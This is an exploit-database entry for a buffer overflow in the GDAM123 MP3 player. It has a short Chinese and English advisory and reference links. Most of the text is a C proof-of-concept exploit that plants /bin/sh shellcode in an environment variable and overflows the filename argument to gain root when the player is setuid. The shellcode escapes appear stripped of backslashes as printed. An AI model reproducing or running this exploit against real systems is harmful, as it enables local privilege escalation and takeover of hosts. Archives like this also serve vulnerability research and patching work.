https://www.exploit-db.com/exploits/21760
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-548

gdam1230.933版本和0.942版本存在缓冲区溢出漏洞。本地用户可以借助超长filename参数执行任意代码。

source: http://www.securityfocus.com/bid/5578/info

The GDAM123 command-line MP3 player is prone to a buffer overflow condition when handling overly long filenames. Under some circumstances, the player may be installed setuid root to allow unprivileged users to run the player if access to certain devices is required. In a situation such as this, the buffer overflow may be exploited to gain elevated privileges via the execution of arbitrary code. 

/* gdam123(client) proof of concept exploit by sacrine
 * An unchecked buffer in filename option
 * Netric Security (RESOURCE MATERIAL)
 * http://www.netric.org
 *
 * ./gdam123-expl -3300
 * greets: All members of Netric, my girlfriend
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

// #define BUFLEN	2148
#define BUFLEN	(2157 + 9) 
#define NOP	0x90

char shellcode[] =
       "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
       "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
       "x80xe8xdcxffxffxff/bin/sh";

int main(int argc, char **argv)
{
	unsigned long ret = 0xbffff090;
	char 	buffer[BUFLEN];
	char 	egg[1024];
	char	*ptr;
	int	i=0;
	unsigned long offset ; 

	if (argc > 1) 
		ret = ret - atol(argv[1]) ;

	memset(buffer,NOP,sizeof(buffer));
	ptr=egg;
	
	for (i=0; i<1024-strlen(shellcode)-1;i++)*(ptr++) = 'x90';
	for (i=0; i<strlen(shellcode);i++)*(ptr++) = shellcode[i];
	
	egg[1024-1] = '';
	memcpy(egg,"EGG=",4);
	putenv(egg);
	
	memset(buffer, 0x41, sizeof(buffer)); 
	buffer[BUFLEN-5] = (ret & 0x000000ff);
	buffer[BUFLEN-4] = (ret & 0x0000ff00) >> 8;
	buffer[BUFLEN-3] = (ret & 0x00ff0000) >> 16;
	buffer[BUFLEN-2] = (ret & 0xff000000) >> 24;
	buffer[BUFLEN-1] = 0x00;
	
	printf("gdam123 proof of concept exploit by sacrinen");
	printf("ret: 0x%xn",ret);
	printf("buf: %dnn",strlen(buffer));
	
	execl("gdam123", "gdam123_hacked",buffer, NULL);
	return(0);
}

来源:BID
名称:5578
链接:http://www.securityfocus.com/bid/5578
来源:www.securiteam.com
链接:http://www.securiteam.com/exploits/5CP0Y0080G.html
来源:XF
名称:gdam123-mp3-filename-bo(9991)
链接:http://www.iss.net/security_center/static/9991.php